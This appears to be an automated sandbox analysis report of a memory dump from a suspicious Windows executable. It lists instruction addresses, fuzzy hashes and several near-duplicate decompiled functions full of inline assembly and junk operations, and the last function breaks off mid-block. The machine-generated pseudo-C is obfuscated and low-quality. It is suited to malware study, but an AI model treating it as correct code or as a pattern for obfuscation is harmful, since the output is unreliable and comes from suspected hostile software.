0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction ID: 28c32271fa903d2e502f5c43ee7f2935ae1d22089060b7f4ec41985c8baa115a
Opcode Fuzzy Hash: 3b045a89dc38c056c7d7352abef0b4b2f573bda20b5254fa9f7f2cee09e6065b
Instruction Fuzzy Hash: A6717732109101DFEB00AE64EECA59AFB64FF1937477001ABDC416F1E2C37B5542DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A5E, Relevance: .2, Instructions: 219
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A5E(void* __ebx, void* __ecx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t123;
				void* _t126;
				signed int* _t128;
				signed int _t129;
				void* _t131;
				signed int _t132;
				void* _t134;
				intOrPtr* _t135;
				void* _t136;
				void* _t140;
				signed int _t141;
				signed int _t142;
				void* _t155;
				void* _t162;
				signed long long _t164;

				_t162 = __fp0;
				_t135 = __esi;
				_t131 = __edi;
				_t128 = __edx;
				asm("sbb al, 0xb8");
				_t123 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t136, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t141 = _t140 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t137 = 0xdea4a4a7;
				asm("wait");
				_push(_t141);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t135);
				_t132 = _t131 -  *0xFFFFFFFFDEA4A4EF;
				_t149 = _t90 ^ _t132;
				if((_t90 ^ _t132) < 0) {
					_pop(_t113);
					_t135 = _t135 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t137 = 0xdea4a4a7 - _t132;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t123 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t132, _t135, _t137, _t149);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t141 = 0x10eba4a4 |  *(_t135 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t142 = _t141 |  *(_t135 + _t137 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t142);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t164 = (_t162 - _t128[0x1a]) *  *_t128;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t129);
					asm("salc");
					_t164 = _t164 +  *_t135;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t130 = _t129 ^  *0xd05b5b70;
				} while ((_t129 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t134);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t135);
				_t155 = _t123 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t142;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t134, _t135, 0x13eba4a4, _t155);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t134, _t135, _t155); // executed
				_t156 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t134, _t156,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L24:
						_t161 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t126 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t126 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t126);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t130, _t161);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t134, _t135, 0x13eba4a4, _t161);
					} else {
						_t51 = E00402255(_t164,  *((intOrPtr*)(0x13eba4a0)));
						_t158 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t134, _t135, _t158, _t164);
							_t159 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t159, _t164,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L24;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a5e
0x00402a5e
0x00402a5e
0x00402a5e
0x00402a60
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction ID: 14214452042e6ecbc914254f67d2709232b961f867d8ebf06c643147f3da40d9
Opcode Fuzzy Hash: 9af5754aaf439908cbc9e538bbe29f54eba11fad21307c3261ecff9ebfcf9c97
Instruction Fuzzy Hash: 5151443200D141DEEB00AE64AEDA5AAFB64FF15378B3001B7DC416E1E6C37A5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A68, Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 33%

			E00402A68(void* __ebx, void* __edi, intOrPtr* __esi, void* __eflags, void* __fp0) {
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 0000000B.00000002.805314119.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_9334.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
